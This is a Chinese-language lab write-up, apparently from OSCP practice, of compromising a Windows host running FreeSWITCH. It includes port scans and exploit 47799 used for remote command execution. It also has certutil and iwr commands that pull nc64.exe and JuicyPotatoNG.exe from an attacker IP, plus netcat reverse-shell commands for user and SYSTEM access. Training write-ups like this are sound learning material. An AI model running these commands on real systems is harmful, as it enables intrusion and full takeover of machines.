Challenge 5 - Gust
Challenge 5 - Gust
└─$ rustscan -a 192.168.193.151 --scripts none --ulimit 5000
└─$ sudo nmap -sCV -p 80,2855,2856,5060,5066,5080,7443,8021 192.168.193.151 | tee nmap
有 4 個 Port 都顯示了 FreeSWITCH mod_sofia 1.10.1~64bit 有名稱有版本,相當可疑
└─$ sudo nmap -sU -p 161 192.168.193.151 | tee nmap-snmp
snmp 有開但顯示 filtered,看來是不能用了
snmp-check 一下,預設的 public 不能支援就先不用再嘗試了
瀏覽器開起來是 IIS 預設介面,暫時沒戲
└─$ gobuster -w dirfuzzing.txt dir -u http://192.168.193.151 -t 150 -x txt,pdf,git,aspx | tee gobuster
看來網站的部分也是暫時沒戲
將目標轉回 FreeSWITCH,直接 searchsploit FreeSWITCH
有個 47799.txt 文字檔
版本與枚舉的一,且告訴你直接執行 python code 接 IP 與 command 即可
# -- Example --
# root@kali:~# ./freeswitch-exploit.py 192.168.1.100 whoami
內容也是一段 python code 那就直接把 47799.txt 改成 47799.py
然後執行看看,看來可以直接執行,直接看到是 oscp\chris
那就上傳 nc 然後執行 nc 拿 reverse shell 吧
python3 ./47799.py 192.168.193.151 "certutil -urlcache -f http://192.168.45.240/nc64.exe C:\users\chris\nc.exe"
上傳後 dir 看一下有成功上傳 └─$ python3 ./47799.py 192.168.193.151 "dir C:\users\chris\nc.exe"
建立 Reverse Shell 吧,└─$ python3 ./47799.py 192.168.193.151 "C:\users\chris\nc.exe 192.168.45.240 4444 -e C:\windows\system32\cmd.exe"
nc listen 4444 進來了,那就直接拿第一階段答案吧
枚舉時發現 SeImpersonatePrivilege 是 Enable
標準作業先上傳 JuicyPotatoNG.exe
iwr -uri http://192.168.45.240/JuicyPotatoNG.exe -Outfile JuicyPotatoNG.exe
直接提權試試看 .\juicypotatong.exe -t * -p .\nc.exe -a "192.168.45.240 4443 -e c:\windows\system32\cmd.exe"
顯示可以成功執行
nc 4443 reverse shell 進來了,whoami 看一下是 nt authority\system,看來提權成功拿答案吧
留言
張貼留言